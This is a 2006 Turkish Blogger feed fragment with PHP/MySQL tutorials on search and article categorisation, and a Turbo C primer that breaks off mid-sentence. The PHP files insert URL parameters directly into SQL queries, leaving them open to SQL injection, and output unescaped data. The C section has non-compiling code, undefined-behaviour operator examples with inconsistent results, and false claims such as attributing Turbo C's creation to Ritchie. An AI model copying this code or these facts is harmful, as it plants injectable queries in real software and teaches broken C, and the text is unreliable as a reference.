Tersini Yapan Komut Olusturursak oda &amp;#350;&amp;ouml;le Olabilir &lt;strong&gt;!='%$aranacak_kelime%'&lt;/strong&gt; &lt;br&gt;&lt;br /&gt;  &amp;#304;&amp;#351;te Buda Aranacak Kelime Olmayanlar&amp;#305; ekrana basar yani ...&lt;br&gt;&lt;br /&gt;  ---------------------------------------&lt;br&gt;&lt;br /&gt;  Ali nerdeyd&amp;#305;n bugun niye gelmedin .&lt;br&gt;&lt;br /&gt;  Evdeydim Top Ald&amp;#305;m oynayal&amp;#305;m m&amp;#305; ?&lt;br&gt;&lt;br /&gt;  Yok ya ben oynamam.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br&gt;&lt;br /&gt;  Sakal tras&amp;#305; olcam &lt;br&gt;&lt;br /&gt;  O zaman B&amp;#305;cak&amp;nbsp;AL . =)&lt;br&gt;&lt;br /&gt;  ---------------------------------------------------------------------&lt;br&gt;&lt;br /&gt;  &amp;#304;&amp;#351;te bunlar mysql ' un Bize sunduklar&amp;#305; Peki b&amp;#305;z ac&amp;#305;klama felan yapt&amp;#305;k ama arama sonuclar&amp;#305;n&amp;#305; ekrana basmad&amp;#305;k oda su sek&amp;#305;lde olur &lt;/p&gt;&lt;br /&gt;&lt;p&gt;if($sec){&lt;br&gt;&lt;br /&gt;  echo "$aranacak_kelime&amp;lt;br&amp;gt;";&lt;br&gt;&lt;br /&gt;  echo "veri_icerik_bolum1&amp;lt;br&amp;gt;";&lt;br&gt;&lt;br /&gt;  echo "veri_icerik_bolum2&amp;lt;br&amp;gt;";&lt;br&gt;&lt;br /&gt;  echo "anahar";&lt;br&gt;&lt;br /&gt;  }else{ echo "Sonuc Bulunamad&amp;#305;"; }&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &amp;#351;eklinde bi&amp;#351;ey yapabiliriz :) gerisi size kalm&amp;#305;s.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35317581-115970964398878492?l=sanalarsiv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sanalarsiv.blogspot.com/feeds/115970964398878492/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=35317581&amp;postID=115970964398878492' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35317581/posts/default/115970964398878492'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35317581/posts/default/115970964398878492'/><link rel='alternate' type='text/html' href='http://sanalarsiv.blogspot.com/2006/10/php-ile-mysql-veritabannda-arama.html' title='PHP İle mysql veritabanında arama yaptırma..!'/><author><name>yonetici</name><uri>http://www.blogger.com/profile/01829750859514560472</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35317581.post-115970939100498545</id><published>2006-10-01T05:29:00.000-08:00</published><updated>2006-10-01T05:30:22.786-08:00</updated><title type='text'>PHP ile Kategorileme</title><content type='html'>&lt;div&gt;Bu makalede  sizlere PHP de kategorileme mantığını anlatacağım.Aslında tablolar  arası ilişki de desek doğru olur. İşe önce veritabanını oluşturmakla  başlayalım. &lt;/div&gt;&lt;br /&gt;&lt;div&gt; &lt;/div&gt;&lt;br /&gt;&lt;div&gt;MySQL de &lt;strong&gt;kategorileme&lt;/strong&gt; adında bir veritabanı yaratın ve bu sorguyu çalıştırın.&lt;/div&gt;&lt;br /&gt;&lt;div&gt; &lt;/div&gt;&lt;br /&gt;&lt;div&gt; &lt;/div&gt;&lt;br /&gt;&lt;div&gt;CREATE TABLE `kategoriler` (&lt;br /&gt;&lt;br /&gt;  `kat_id` int(11) NOT NULL auto_increment,&lt;br /&gt;&lt;br /&gt;  `kat_baslik` varchar(50) NOT NULL default '',&lt;br /&gt;&lt;br /&gt;  PRIMARY KEY  (`kat_id`)&lt;br /&gt;&lt;br /&gt;) ENGINE=MyISAM;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;INSERT INTO `kategoriler` VALUES (1, 'PHP');&lt;br /&gt;&lt;br /&gt;INSERT INTO `kategoriler` VALUES (2, 'ASP');&lt;br /&gt;&lt;br /&gt;INSERT INTO `kategoriler` VALUES (3, 'HTML');&lt;/div&gt;&lt;br /&gt;&lt;div&gt; &lt;/div&gt;&lt;br /&gt;&lt;div&gt;CREATE TABLE `makaleler` (&lt;/div&gt;&lt;br /&gt;&lt;div&gt; `makale_id` int(11) NOT NULL auto_increment,&lt;/div&gt;&lt;br /&gt;&lt;div&gt; `makale_baslik` varchar(150) NOT NULL default '',&lt;/div&gt;&lt;br /&gt;&lt;div&gt; `kat_id` varchar(150) NOT NULL default '',&lt;/div&gt;&lt;br /&gt;&lt;div&gt; `makale_metni` text NOT NULL,&lt;/div&gt;&lt;br /&gt;&lt;div&gt; PRIMARY KEY (`makale_id`)&lt;/div&gt;&lt;br /&gt;&lt;div&gt;) ENGINE=MyISAM;&lt;/div&gt;&lt;br /&gt;&lt;div&gt; &lt;/div&gt;&lt;br /&gt;&lt;div&gt;INSERT INTO `makaleler` VALUES (1, 'PHP de fonksiyonlar', '1', 'PHP de fonksiyonlar makalesi');&lt;/div&gt;&lt;br /&gt;&lt;div&gt;INSERT INTO `makaleler` VALUES (2, 'ASP de server nesneleri', '2', 'ASP de server nesneleri makalesi');&lt;/div&gt;&lt;br /&gt;&lt;div&gt;INSERT INTO `makaleler` VALUES (3, 'HTML de link vermek', '3', 'HTML de link vermek makalesi');&lt;/div&gt;&lt;br /&gt;&lt;div&gt; &lt;/div&gt;&lt;br /&gt;&lt;div&gt; &lt;/div&gt;&lt;br /&gt;&lt;div&gt;Şimdi sorgumuzda ne yaptık onu bir anlatalım.Öncelikle &lt;strong&gt;kategoriler &lt;/strong&gt;adında bir tablo ve &lt;strong&gt;kat_id ( kategorinin id numarası ) &lt;/strong&gt;, &lt;strong&gt;kat_baslik ( kategorinin adı ) &lt;/strong&gt;adında iki field (alan) oluşturduk.Sonra örnek olması açısından 3 tane kategori ekledim.(PHP,ASP,HTML)&lt;/div&gt;&lt;br /&gt;&lt;div&gt; &lt;/div&gt;&lt;br /&gt;&lt;div&gt;Diğeri ise &lt;strong&gt;makaleler&lt;/strong&gt; tablomuz.Bu tabloda ise &lt;strong&gt;makale_id  ( makalenin id numarası), makale_baslik ( makalenin adı ), kat_id (  makalenin olduğu kategori id numarasının tutulacağı alan ),  makale_metni ( makalenin metni ).&lt;/strong&gt;Ve yine örnek olarak 3 ayrı kategoriye 3 tane makale ekledim.&lt;/div&gt;&lt;br /&gt;&lt;div&gt; &lt;/div&gt;&lt;br /&gt;&lt;div&gt;Kodlarımızı yazmaya başlayalım.Bir veritabanı bağlantısı oluşturalım.&lt;/div&gt;&lt;br /&gt;&lt;div&gt; &lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;strong&gt;Ayarlar.php&lt;/strong&gt; olarak kaydedin.&lt;/div&gt;&lt;br /&gt;&lt;div&gt; &lt;/div&gt;&lt;br /&gt;&lt;div&gt;&amp;lt;?php&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;function db_baglanti()&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;  $db_host = "localhost";&lt;br /&gt;&lt;br /&gt;  $db_kullanici = "root";   // Db kullanıcı adınız&lt;br /&gt;&lt;br /&gt;  $db_sifre = "";           // Db şifreniz&lt;br /&gt;&lt;br /&gt;  $db_adi = "kategorileme";       // Db adınız&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  @$baglanti = mysql_connect($db_host,$db_kullanici,$db_sifre);&lt;br /&gt;&lt;br /&gt;  @ mysql_select_db($db_adi,$baglanti);&lt;br /&gt;&lt;br /&gt;  if (mysql_errno())&lt;br /&gt;&lt;br /&gt;  {&lt;br /&gt;&lt;br /&gt;    echo 'Veritabanına bağlanılamıyor ...';&lt;br /&gt;&lt;br /&gt;    exit;&lt;br /&gt;&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;?&amp;gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt; &lt;/div&gt;&lt;br /&gt;&lt;div&gt;Ayarlar.php de bir db bağlantısı fonksiyonu oluşturduk.(Bunu kullanacağımız sayfalarda kolaylık olması açısından yaptık.)&lt;/div&gt;&lt;br /&gt;&lt;div&gt;Db bağlantımızı oluşturduğumuza göre şimdi kategorilerimizi ekrana yazdıralım.&lt;/div&gt;&lt;br /&gt;&lt;div&gt; &lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;strong&gt;Kategoriler.php&lt;/strong&gt; olarak kaydedin.Gerekli açıklamaları kod içinde belirttim.&lt;/div&gt;&lt;br /&gt;&lt;div&gt; &lt;/div&gt;&lt;br /&gt;&lt;div&gt;&amp;lt;?php&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;// Db bağlantımızın olduğu ayarlar.php yi çağırıyoruz.&lt;br /&gt;&lt;br /&gt;include("ayarlar.php");&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;// Bağlantıyı oluştur.&lt;br /&gt;&lt;br /&gt;db_baglanti();&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;// kat_id, kat_baslik alanlarını kategoriler tablosundan seç ve kat_id e göre diz.&lt;br /&gt;&lt;br /&gt;$sorgu = mysql_query("SELECT kat_id, kat_baslik FROM kategoriler ORDER BY kat_id");&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;// mysql_fetch_array ile verileri bir dizi olarak alıyoruz.&lt;br /&gt;&lt;br /&gt;while($yaz = mysql_fetch_array($sorgu))&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;echo "&amp;lt;a href=katgoster.php?kat_id=" . $yaz['kat_id'] . "&amp;kategori=" . $yaz['kat_baslik'] ."&amp;gt;" . $yaz['kat_baslik'] . "&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;";&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;?&amp;gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt; &lt;/div&gt;&lt;br /&gt;&lt;div&gt;Veritabanında olan kategorileri listeledik.Bu sayfanın çıktısı şu şekilde olmalıdır.&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;img src="http://www.ceviz.net/ceviz_main/uploads/uye42233/kresim1.jpg" /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt; &lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;div&gt;Şimdi ise bir kategoriye girdiğimizde makalelerin başlıklarını yazdıralım. &lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;strong&gt;Katgoster.php&lt;/strong&gt; olarak kaydedin.Gerekli açıklamalar kod içinde.&lt;/div&gt;&lt;br /&gt;&lt;div&gt; &lt;/div&gt;&lt;br /&gt;&lt;div&gt;&amp;lt;?php&lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;  // Db bağlantımızın olduğu ayarlar.php yi çağırıyoruz.&lt;br /&gt;&lt;br /&gt;  include("ayarlar.php");&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  // URL den kategorinin id numarasını alıyoruz.&lt;br /&gt;&lt;br /&gt;  @$kat_id = $_GET['kat_id'];&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  // Bağlantıyı oluştur.&lt;br /&gt;&lt;br /&gt;  db_baglanti();&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  /*  makale_id ve makale_baslik alanlarını makaleler tablosundan seç ve url  üzerinden gelen kat_id i tabloda olan kat_id e eşitle.Bu da bize hangi  kategori ise bize o kategorinin makalelerini listeliyor.&lt;/div&gt;&lt;br /&gt;&lt;div&gt;*/&lt;br /&gt;&lt;br /&gt;  $sorgu = mysql_query("SELECT makale_id, makale_baslik FROM makaleler WHERE kat_id = '" . $kat_id . "' ORDER BY makale_id");&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  // mysql_fetch_array ile verileri bir dizi olarak alıyoruz.&lt;br /&gt;&lt;br /&gt;  while($yaz = mysql_fetch_array($sorgu))&lt;br /&gt;&lt;br /&gt;  {&lt;br /&gt;&lt;br /&gt;  echo '&amp;lt;a href="makaleoku.php?makale_id='. $yaz['makale_id'] .'"&amp;gt; '.$yaz['makale_baslik'] .'&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;';&lt;br /&gt;&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  ?&amp;gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt; &lt;/div&gt;&lt;br /&gt;&lt;div&gt;Bu sayfanın çıktısı şu şekilde olmalıdır.Burda  PHP kategorisine girdiysek PHP kategorisindeki makalelerin başlıklarını  yazdıracağız.( Örnek: PHP de fonksiyonlar.) O zaman çıktı şu şekilde  olacaktır.&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;img src="http://www.ceviz.net/ceviz_main/uploads/uye42233/kresim2.jpg" /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt; &lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;  &lt;div&gt;Ve son olarak da &lt;strong&gt;makaleoku.php&lt;/strong&gt; sayfamız;&lt;/div&gt;&lt;br /&gt;  &lt;div&gt; &lt;/div&gt;&lt;br /&gt;  &lt;div&gt;&amp;lt;?php&lt;br /&gt;&lt;br /&gt;    &lt;br /&gt;&lt;br /&gt;    // Db bağlantımızın olduğu ayarlar.php yi çağırıyoruz.&lt;br /&gt;&lt;br /&gt;    include("ayarlar.php");&lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;    // URL den makalenin id numarasını alıyoruz.&lt;br /&gt;&lt;br /&gt;    @$makale_id = $_GET['makale_id'];&lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;    // Bağlantıyı oluştur.&lt;br /&gt;&lt;br /&gt;    db_baglanti();&lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;    /*  makale_id, makale_baslik, makale_metni alanlarını makaleler tablosundan  seç.Ve url üzerinden gelen makale_id i tabloda olan makale_id e  eşitle.Bu da bize hangi makaleden geldiysek bize onun makale_metinini  göstermemizi sağlar.  */&lt;br /&gt;&lt;br /&gt;    $sorgu = mysql_query("SELECT makale_id, makale_baslik, makale_metni FROM makaleler WHERE makale_id = '" . $makale_id . "'");&lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;    // mysql_fetch_array ile verileri bir dizi olarak alıyoruz.&lt;br /&gt;&lt;br /&gt;    while($yaz = mysql_fetch_array($sorgu))&lt;br /&gt;&lt;br /&gt;    {&lt;br /&gt;&lt;br /&gt;    echo $yaz['makale_metni'];&lt;br /&gt;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    ?&amp;gt;&lt;/div&gt;&lt;br /&gt;  &lt;div&gt; &lt;/div&gt;&lt;br /&gt;  &lt;div&gt;Bu sayfanın çıktısı ise PHP de fonksiyonlar makalesinin metini yani ;&lt;/div&gt;&lt;br /&gt;  &lt;div&gt;&lt;img src="http://www.ceviz.net/ceviz_main/uploads/uye42233/kresim3.jpg" /&gt;&lt;/div&gt;&lt;br /&gt;  &lt;div&gt; &lt;/div&gt;&lt;br /&gt;  &lt;div&gt;&lt;br /&gt;    &lt;div&gt;Olacaktır.&lt;/div&gt;&lt;br /&gt;  &lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35317581-115970939100498545?l=sanalarsiv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sanalarsiv.blogspot.com/feeds/115970939100498545/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=35317581&amp;postID=115970939100498545' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35317581/posts/default/115970939100498545'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35317581/posts/default/115970939100498545'/><link rel='alternate' type='text/html' href='http://sanalarsiv.blogspot.com/2006/10/php-ile-kategorileme.html' title='PHP ile Kategorileme'/><author><name>yonetici</name><uri>http://www.blogger.com/profile/01829750859514560472</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35317581.post-115970856408601242</id><published>2006-10-01T05:15:00.000-08:00</published><updated>2006-10-01T05:16:04.213-08:00</updated><title type='text'>Turbo C Hakkinda Genel Bilgiler</title><content type='html'>Turbo C dili 1970’li yılların başında AT&amp;T bell labaratuvarında Dennis M.Ritcheie tarafından yaratıldı. Dilin C olarak adlandırılmasının sebebi, kendinden önceki B dili üzerine kurulu bir yapı oluşturmasıdır. UNIX işletim sistemi için yaratılan C dili, ilk başlarda sadece bell labaratuvarında kullanıldı. Daha sonraları laboratuvardan dışarı çıkarak akadamik düzeydeki çalışmalarda ve büyük askeri projelerde kullanılmaya başlandı.&lt;br /&gt; &lt;br /&gt;Programcılar tarafından kullanılmasıda yavaş yavaş oldu. C dilinin tanınmasında en önemli adım 1978’de Dennis M.Ritche ve Brain W.Kernighan tarafından "C Programing Language" adlı kitabın yayınlanması olmuştur. C dilinin gelişmesi gün geçtikçe artmıştır.&lt;br /&gt;&lt;br /&gt;C’de diğer sistemlere adapte edilebilen büyük programlar hızlı bir şekilde kolaylıkla yazılabildiği için, C’nin kullanımı özelikle sistem programlamalarında önemli olmuştur.&lt;br /&gt; &lt;br /&gt;Çogu işletim sistemi Assembler ile yazıldığı için makineye büyük ölçüde bağımlıdır. Buna karşın UNIX işletim sisteminin büyük bir kısmı C ile yazıdığından UNIX’in çeşitli uygulamaları çok sayıdaki bilgisayarlara uyarlanmış ve UNIX’in farklı farklı makinalara uygulanmasındaki makineye olan bağımlılık azaltılmıştır.&lt;br /&gt; &lt;br /&gt;C dili nispeten küçük bir dilde güç ve verimliliği birleştirmek için planlanmıştır.C dili giriş ve çıkış, değerler için hafızada yer ayrılması, ekran işlemleri ve işlem kontrolü gibi işleri yerine getirmek için gerekli fonksiyonları içermez.&lt;br /&gt;&lt;br /&gt;Yüksek seviyeli programlama dilerinin çoğunda proğramların yapılması sırasında bazı kısıtlamalar vardır. Proğramcının bu engeli aşması için ya yeni algoritmalar oluşturması ya da Assembler’a yakın komutları kullanması gerekir. Bu da bilgisayar başına büyük bir zaman kaybı meydana getirir.&lt;br /&gt; &lt;br /&gt;C’de durum daha farklıdır. C dilinin esnek bir yapıya sahip olmasından dolayı yüksek seviyeli bir dilin yapabileceği işlemleri ve düşük seviyeli bir dil olan Assembler’in bir çok işlemlerini zengin işlemci grubu ve geniş fonksiyon kütüphaneleri vasıtasıyla kolaylıkla yerine getirilebilir.&lt;br /&gt; &lt;br /&gt;C’de yapılan proğramlar Assembler’a göre daha kısa zamanda yazılabilir, daha anlaşılır ve hata daha azdır. Bu durum C dili Assembler yerine tercih edilmesi yeterli olmuştur.&lt;br /&gt; &lt;br /&gt;1980’ne kadar hemen hemen tüm uygulama proğramları Assembler ile yazılmasına karşın, bugünlerde C’ye doğru hızlı bir yönelim vardır.&lt;br /&gt; &lt;br /&gt;C dilinin önemli özelliklerinden bir diğeri ifadelerden , tasarruf sağlanmasıdır. Normal olarak matematiksel ifadeler C’nin zengin operatörleri vasıtasıyla çok daha kısa ve basit bir biçime getirilebilir. Böylelikle C proğramcıları klavyelerinin başında daha az zaman harcarlar.&lt;br /&gt; &lt;br /&gt;Turbo C ye başlarken;&lt;br /&gt;&lt;br /&gt;printfin kullanımı :&lt;br /&gt;&lt;br /&gt;Turbo C’de bir değişkenin veya işlemin değerini ekrana yazmak için kullanılan fonksiyonların tümünün çıkış kaynağı printf fonksiyonudur. Bu fonksiyonun yapısı basitçe aşagıdaki gibidir...&lt;br /&gt;&lt;br /&gt;printf(format stringi,değer listesi) &gt;&gt; yazdırmayı sağlar.&lt;br /&gt;&lt;br /&gt;Çıkış Format Karakterleri :&lt;br /&gt;&lt;br /&gt;%d....: İşaretli tamsayıyı ifade eder.&lt;br /&gt;%u....: İşaretsiz tamsayıyı ifade eder,&lt;br /&gt;&lt;br /&gt;%f.....: Gerçel sayıları ifade eder.&lt;br /&gt;%e....: Üssel gerçel sayıyı ifade eder.&lt;br /&gt;%/d ..: Long tamsayıyı ifade eder.&lt;br /&gt;%/f....: Double gerçel sayıyı ifade eder.&lt;br /&gt;%c.......: Tek karakteri ifade eder.&lt;br /&gt;%s.......: String karakteri ifade eder&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bir de kullanılan kütüphaneler vardır örneğin maths.h kütüphanesi matematiksel işlem yaptığımızda programın başına #include "maths.h" diye yazılır böylece o kütüphane içindeki işlemler programımıza eklenir.&lt;br /&gt;&lt;br /&gt;Örnek program:&lt;br /&gt;&lt;br /&gt;#include&lt;br /&gt;main()&lt;br /&gt;{printf("\a\a program girişi \a\a\n")&lt;br /&gt;printf("x = %d\ty =%u \n",x,y)&lt;br /&gt;printf("123456789\r 987654321\n")&lt;br /&gt;printf("\101 = \x041 = %c \n",65)&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;scanf : &gt;&gt; girilen ifadelerin okunmasını sağlar sonra printf ile bunları yazdırırız.&lt;br /&gt;&lt;br /&gt;C’de bir değişken alanlarına bir değer okumak için kullanılan fonksiyonların tümü scanf() fonksiyonuna benzer. Bu fonksiyonun yapısı basitçe aşagıdaki gibidir.&lt;br /&gt;&lt;br /&gt;scanf(format stringi, adres listesi)&lt;br /&gt;&lt;br /&gt;Örnek program &gt;&gt; programı derleyiciye yazıp ne yapmayı çalıştığını anlayın.&lt;br /&gt;&lt;br /&gt;#include&lt;br /&gt;float i,j;&lt;br /&gt;main()&lt;br /&gt;{printf("x değerini girin");scanf("%f",&amp;i);&lt;br /&gt;printf("y değerini girin");scanf("%f,&amp;j);&lt;br /&gt;printf("x+1=%f,y-1=%f",i+1,j-1);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Operatörler :&lt;br /&gt;&lt;br /&gt;Operatörler belli bir amaca yönelik olarak bir bilgiyi daha değişik bir forma sokan veya iki bilgiden yeni bir bilgi elde etmesini sağlayan sembolik araçlardır. Bunların en yaygın olarak olarak kullanılanı matemetiksel operatörler olan toplama, çıkartma, bölme, çarpmadır. Turbo C’de operatörler genel olarak üç ana guruba ayrılabilir.&lt;br /&gt;&lt;br /&gt;Aritmetiksel Operatörler :&lt;br /&gt;&lt;br /&gt;Bu operatörler nümerik değerlerin işlenmesinde kullanırlar.&lt;br /&gt;&lt;br /&gt;*,/,%,+,-,++,--,&amp;,|,^,~,&lt;&lt;,&gt;&gt;,+=,-=,*=,/=,%=,&gt;&gt;=,&lt;br /&gt;&lt;br /&gt;Aritmetiksel Operatörler :&lt;br /&gt;&lt;br /&gt;Yukarıdaki iki guruba ek olarak C’de bazı özel operatörler vardır.&lt;br /&gt;&lt;br /&gt;= Atama operatörü&lt;br /&gt;?: Üçlü koşul operatörü&lt;br /&gt;&lt;br /&gt;&amp; Adres operatörü&lt;br /&gt;* Dolaylı operatörü&lt;br /&gt;; İfade sonu operatörü&lt;br /&gt;, Virgül operatörü&lt;br /&gt;&lt;br /&gt;Örnekler....:&lt;br /&gt;&lt;br /&gt;a=4,b=5 ise&lt;br /&gt;c=a++ +b; c=9,a=5,b=5&lt;br /&gt;c=++a +b--; c=10,a=5,a=5&lt;br /&gt;c=--a +b--; c=8,a=3,b=5&lt;br /&gt;c=a+ ++a-b--; c=4,a=5,b=5&lt;br /&gt;c=a+ a++ -b--; c=3,a=4,b=5&lt;br /&gt;&lt;br /&gt;a=++a +a= 10&lt;br /&gt;a=++a +a--= 9&lt;br /&gt;a=++a*--a= 12&lt;br /&gt;a=a++/a--= 1&lt;br /&gt;&lt;br /&gt;Pointerlar:&lt;br /&gt;&lt;br /&gt;Turbo C’ye yeni başlayanlar için pointerlerin kullanılması çok karmaşık ve sıkıcı görünmektedir. Bunlar proğramcıların pointerlarla deneyimlerinin olmayışı veya kullanılan bilgilerin işlenmesinde pointerların kullanımının gereksiz olduğunun düşünülmesinden kaynaklanmaktadır. C ile çalışan kişilerde belli bir c proğram mantığı oluştuktan sonra profesyonel proğramcılığa geçişte pointerlerların kullanımına büyük bir gereksinim vardır. Bu yüzden pointerların çok iyi bir şekilde bilinmesi gerekir. Her bilgisayar dili bir pointera sahiptir.&lt;br /&gt;&lt;br /&gt;Tanım olarak bir pointer bir değişkenin adresini içeren değişkendir. Tipik bir bilgisayar ayrı ayrı veya bitişik guruplar halinde idare edilebilen ardışık olarak sayılaştırılmış veya adreslenmiş hafıza hücrelerinin bir dizisine sahiptir. Her pointer bir başka bellek hücresini gösteren bir hafıza alanıdır.&lt;br /&gt;&lt;br /&gt;char c=’a’;&lt;br /&gt;char *p;&lt;br /&gt;&lt;br /&gt;Burada c char tipinde bir değişken ve p char tipinde bir pointer tanımlanmıştır. Pointer tanımlamaları daima değişken isminin soluna (*) asteriks işareti konarak yapılır.&lt;br /&gt;&lt;br /&gt;Program Kontrol İfadeleri:&lt;br /&gt;&lt;br /&gt;If İfadeleri:&lt;br /&gt;&lt;br /&gt;If ifadesinin en basit yapısı aşğıdaki gibidir.&lt;br /&gt;&lt;br /&gt;if (şart testi) ifade;&lt;br /&gt;&lt;br /&gt;Örneğin...:&lt;br /&gt;if (a&gt;10) printf("a&gt;10");&lt;br /&gt;&lt;br /&gt;Burada "a&gt;10" stringinin ekrana basılması için gerekli şart (a&gt;10) a degerinin 10 dan büyük omasıdır. Eğer a=10 veya a&lt;10 olursa şart yanlış olacak ve "a&gt;10" ekrana basılmayacaktır.&lt;br /&gt;&lt;br /&gt;If-Else İfadeleri:&lt;br /&gt;&lt;br /&gt;Yukarıdaki if ifadesinde şart testinin doğru olması durumunda ifade veya ifade bloğu icra görülüyor. Yanlış olması durumunda if’den sonra gelen ifade işleme alınıyordu.&lt;br /&gt;&lt;br /&gt;if (sart testi) ifade_1;&lt;br /&gt;else ifade_2;&lt;br /&gt;Örneğin...:&lt;br /&gt;&lt;br /&gt;if (a&gt;0) sonuc = log(a);&lt;br /&gt;else printf("a için hatalı giriş, log(%f) hesaplanamaz",a);&lt;br /&gt;&lt;br /&gt;if-else if&lt;br /&gt;if (şart testi)&lt;br /&gt;{ ifade bloğu }&lt;br /&gt;else if (şart testi)&lt;br /&gt;{ ifade bloğu }&lt;br /&gt;else if (şart testi)&lt;br /&gt;:&lt;br /&gt;:&lt;br /&gt;else {ifade bloğu}&lt;br /&gt;&lt;br /&gt;şifre proğramı&lt;br /&gt;#include&lt;br /&gt;#include&lt;br /&gt;#define sifre 4040&lt;br /&gt;int tahmin;&lt;br /&gt;main()&lt;br /&gt;{ tekrar;&lt;br /&gt;printf("şifre için bir şey giriniz");&lt;br /&gt;scanf("%d",&amp;tahmin);&lt;br /&gt;if (tahmin==sifre)&lt;br /&gt;{printf("şifre doğru");&lt;br /&gt;}&lt;br /&gt;else if (tahmin&gt;sifre)&lt;br /&gt;{printf("tahmininiz şifreden büyük");&lt;br /&gt;goto tekrar;&lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;{printf("tahmininiz şifreden büyük");&lt;br /&gt;}&lt;br /&gt;return0;&lt;br /&gt;getch();&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;[/B] Döngü Komutları: [/B]&lt;br /&gt;&lt;br /&gt;For Döngüsü:&lt;br /&gt;&lt;br /&gt;Bu döngü şart doğru olduğu sürece döngüyü sürdürüyor. yanlış olduğu zaman döngüden çıkıyor.&lt;br /&gt;&lt;br /&gt;For (başlangıç ; şart ; artım ;&lt;br /&gt;&lt;br /&gt;for 